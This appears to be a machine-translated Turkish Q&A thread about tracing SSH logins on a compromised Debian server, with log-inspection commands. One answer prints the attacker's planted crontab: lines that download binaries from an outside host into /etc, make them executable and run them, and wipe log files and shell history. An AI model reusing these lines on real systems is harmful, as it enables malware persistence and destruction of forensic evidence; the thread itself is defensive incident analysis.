Sunucuya ssh ile erişen IP adreslerinin geçmişi


42

Benim bir sunucumun bilinen bir Çinli botnet ile saldırıya uğradığı ve bulaştığı dikkatimi çekti.

Kendi statik IP'sine (ABD adresi) sahip bir prototip / test sanal makinesiydi, bu yüzden herhangi bir zarar vermedi (çözmem biraz zaman aldı).

Şimdi, saldırının Çin'den kaynaklanıp kaynaklanmadığını bilmek için izinsiz giriş için hangi IP / lerin kullanıldığını bilmek istiyorum.

Sunucudaki ssh ile alınan bağlantıların geçmişini görüntülemenin bir yolu var mı?

Düzenleme: Sistem Linux Debian 7'dir

Yanıtlar:


45

lastKomutun çıktısına ve ağ üzerinde boşluk bırakmak yerine IP adresi veya ana bilgisayar adına sahip herhangi bir şeye bakın. Eğer sshdbu sistemde, daha sonra oraya gitmek olduğunu yapmanın tek yoludur.

(Bu Linux ise) Alternatif olarak, kontrol edebilirsiniz /var/log/secure(RH tabanlı dağıtımlar üzerinde) ya da /var/log/auth.lognerede (Debian tabanlı dağıtımlar üzerine) sshdgenellikle bağlantıların takip eder onlar (başarılı girişlerinde neden olmasa bile yapılan hangi isabet utmp/ wtmphangi ondan ne lastokuyacak. Örnek:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

IIRC Solaris sshd(zorunlu olarak OpenSSH'ler olmayabilir sshd) bu bilgiyi/var/adm/messages

DÜZENLE:

@derobert mükemmel bir noktaya değindi. Herhangi bir sistemde, eğer süper kullanıcı hesabınız tehlikeye girerse, o zaman tüm bahislerin kapalı olduğu gibi /var/log/wtmpya /var/adm/messagesda saldırgan tarafından değiştirilebilen günlük dosyalarının kapalı olduğunu hatırlamak önemlidir . Sunucudan çıkan günlükleri güvenli bir yere koyarsanız, bu durum hafifletilebilir.

Örneğin, çalıştığım bir mağazada, yalnızca denetim günlüğü dosyalarını veri merkezindeki çeşitli sunuculardan alacak şekilde güvence altına alınmış bir "Denetim Kasası" makinemiz vardı. Gelecekte de benzer bir kurulum yapılmasını tavsiye ederim ("Test makinem var", büyük bir mağazada çalışıyormuşsunuz gibi geliyor).


7
Cevabınız hemen hemen her şeyi kapsar, bu yüzden kendiminkini eklemek istemiyorum ... ama lütfen "Saldırganın kökü varsa, o zaman çoğu yapılandırmada, kutuda hiçbir günlük kaydına güvenilemez." Kök olarak günlükleri kolayca düzenleyebilir. "
derobert

1
@derobert, önerdikleriniz boyunca bazı detaylar ekledim :)
Ramesh

Bekle, '/ var / log / secure' Debian'da değil, Red Hat distorsiyonunda.
Secko

@Secko Her ikisini de dahil etmek için cevabı düzenleyin.
Bratchley

14

Sunucudaki ssh ile alınan bağlantıların geçmişini görüntülemenin bir yolu var mı?

Bu size bir liste vermeli:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

Ardından ana bilgisayar adından veya IP adresinden ülkeye gitmek geoiplookupiçin geoip-binpaketten kullanabilirsiniz .


Faydalı +1. Saati ve tarihi göstermek için komutu güncelleyebilir misiniz?
Eduard Florinescu

3
@Eduard Florinescu Üzgünüz, sedyeteneklerim o tanrı değil. Daha karmaşık bir şey yapmak için Python veya özel bir günlük ayrıştırıcı kullanın. Ancak şunu deneyebilirsiniz:zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
Torkel Bjørnson-Langen

6

Beklendiği gibi, ve @Joel Davis'in dediği gibi, tüm kayıtlar silindi, ancak @Ramesh tarafından kök kullanıcıya erişme girişimleri olan, ancak birkaç kez doğru şifreyi giremediğinden, sonra bağlantı kesilmesinin kesildiği bir dosya vardı. çok fazla sayıda dener.

Adreslerin üçünde traceroute yaptım, ikisi Çin'den, diğeri Pakistan’dan; bunlar IP’ler:

221.120.224.179
116.10.191.218
61.174.51.221

Tehdit edildikten sonra sunucuya enjekte edilen botnet hakkında daha fazla bilgi:

Hacker'lar crontab'ı, her x zamanında, tüm CPU'yu kullanacak, sunucu ağ çıktısını maksimuma çıkaracak ve sonra sadece ölecek 7 çalıştırılabilir dosyayı çalıştırmak için düzenler. Ayrıca, eklenen satırları gizlemek için benioku crontab'a 100 kez eklerler, bu nedenle siz crontab -lde benioku tarafından gizli satırlarla spam gönderilir. Bunu atlatmak için kullandım crontab -l | grep -v '^#'ve işte bu komutun çıktısı:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Gördüğünüz gibi, tüm günlük dosyaları temizlendi, bu yüzden çok fazla bilgi alamadım.

Tüm sunucuyu (tüm VM'ler) indirdi, sitelerde ve proxmox'ta zaman aşımına uğradı. İşte bir grafik (sivri uçlar botnet'i aktif olarak DDoS'le ifade ediyor ve ağı fark ediyor): botnet etkinliği

Sonuç olarak, tüm bağlantıları engellemek için bir güvenlik duvarına tüm Çince IP adresleri ekleyeceğim (Çinli kullanıcılar yok, bu yüzden umurumda değil), ayrıca uzak kök oturum açmalarına izin vermeyeceğim ve uzun süre karmaşık kullanacağım şifreler. Ayrıca büyük olasılıkla ssh portunu değiştirip özel ssh anahtarlarını kullanacağım.


3
Bu oldukça korkutucu şeyler - sisteminize nasıl eriştikleri hakkında bir fikriniz var mı? Zayıf bir parolaya karşı basit bir kaba kuvvet mi oldu?
user35581

3

Gönderen bu cevap, aşağıda bilgileri görebilirsiniz.

SSH sunucuları hakkında konuşurken, size komut satırı çözümleri vereceğim.

Kullanıcı girişlerini ve çıkışlarını izleyin . Çok kolay, dosya /var/log/auth.logbu bilgiye sahip olmalı.

Bu kullanıcıların etkinliklerini izleyin : Biraz masumlarsa, dosyayı .bash_historykendi giriş dizinlerinde kontrol edebilirsiniz . Yürütdükleri komutların bir listesini göreceksiniz. Sorun elbette bu dosyayı silebilmeleri veya düzenleyebilmeleridir.

Kullanıcıların günlükleri silmesini önleyin : Kullanıcılar dokunamaz auth.log. Onları oynamalarını engellemek için bash_historybirkaç püf noktası yapmanız gerekir.

Kullanıcı root erişimi almayı başarırsa ne olur? : Sarhoşsun. Bir hata yapmazsa bütün adımlarını gizleyebilecektir.

Ayrıca, bu cevaptan, SSH_CLIENTdeğişkeni kullanan bir müşterinin IP adresini görebiliriz .

Ayrıca bu cevaptan ssh geçmişinin bu dosyalarda saklanabileceğini görüyorum.

Ek olarak /var/log/lastlog, 3 dosya içinde bulunmaktadır /var/runve /var/log: utmp, wtmpve btmpakım girişlerinde (ve ek bilgi) hakkında bilgi, tarihsel ve başarısız oturum açma tutun. Ayrıntılı açıklama için wiki'ye bakınız . Dosyaları normal düzenleyicilerle düzenleyemezsiniz, ancak silebilir.


1

Makineye en son giriş yapan 10 kullanıcıyı almak için en basit komut last|head.

Tüm kullanıcıları almak için sadece lastkomutu kullanın


1

Bu makine tehlikeye girdi. Bu, tarihsel ya da güncel olan veriler üzerinde artık güvenilemeyeceği anlamına gelir.

Kısacası, cevap hayır. Bu makinede kayıtlı herhangi bir günlük dosyasından kaynak adresi bulduğunuzdan emin olamazsınız.

Silip yeniden yükleyin. Ve yama.


1

Sadece şifre ile giriş başarılı girişimleri görmek için:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

1

debian için test araması biraz farklı ifade edildi

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.